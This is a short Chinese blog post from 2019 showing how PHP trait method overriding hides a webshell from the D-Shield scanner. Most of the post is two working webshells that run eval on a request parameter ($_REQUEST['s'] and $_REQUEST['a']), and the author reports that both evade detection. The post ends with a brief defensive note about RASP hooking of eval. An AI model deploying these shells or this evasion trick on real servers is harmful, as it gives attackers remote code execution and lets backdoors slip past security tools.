利用 PHP Trait 特性绕过 D 盾查杀

发表于 2019 年 7 月 25 日

帮着公司审着代码, 发现一个 PHP 挺好玩的特性, 突发奇想, 想看看能不能绕 D 盾, 没想到就成了.

这个特性已经写在 Title 里面了, 具体可以参考 php.net 上的介绍,
说人话就是覆盖方法, 于是我们就可以覆盖父类的方法, 把无害的变成有害的.

不废话, 直接看 shell 代码

 1<?php
 2trait T {
 3    function dynamic() {
 4        eval("$this->s");
 5    }
 6}
 7
 8class B {
 9    function dynamic() {
10        echo "I am innocent";
11    }
12
13    function __construct() {
14        $this->s = $_REQUEST['s'];
15    }
16}
17
18class C extends B {
19    use T;
20
21    function __construct() {
22        parent::__construct();
23        $this->dynamic();
24    }
25}
26
27$c = new C();

可以看到用 T 的 dynamic 覆盖了 B 的 dynamic, 导致了代码执行,
个人猜测是 D 盾不支持 trait, 没有把里面的 eval 当成代码, 直接给跳过了.

而且很神奇的是, 在这一段下面放一段本来过不了的, 也能过 D 盾了.

 1class B {
 2    public $c;
 3
 4    function __construct() { 
 5            $this->c = $_REQUEST['a'];
 6    }
 7
 8    function a() {
 9            eval($this->c);
10    }
11}
12$d = new B();
13$d->a();

感觉 D 盾内应该有好几种引擎, trait 把其中基于数据流的引擎给搞崩了? 于是也就能过了.
比较的谜…

最后, PHP 这种动态语言, 静态查杀的难度是真的大…
特别涉及类, 过 D 盾的姿势非常多, 百度随便搜搜就有一堆. 想要真正防止, 还是靠 rasp 这种技术吧.
hook eval, 然后检测数据流是否来自 $_POST, $_GET 等等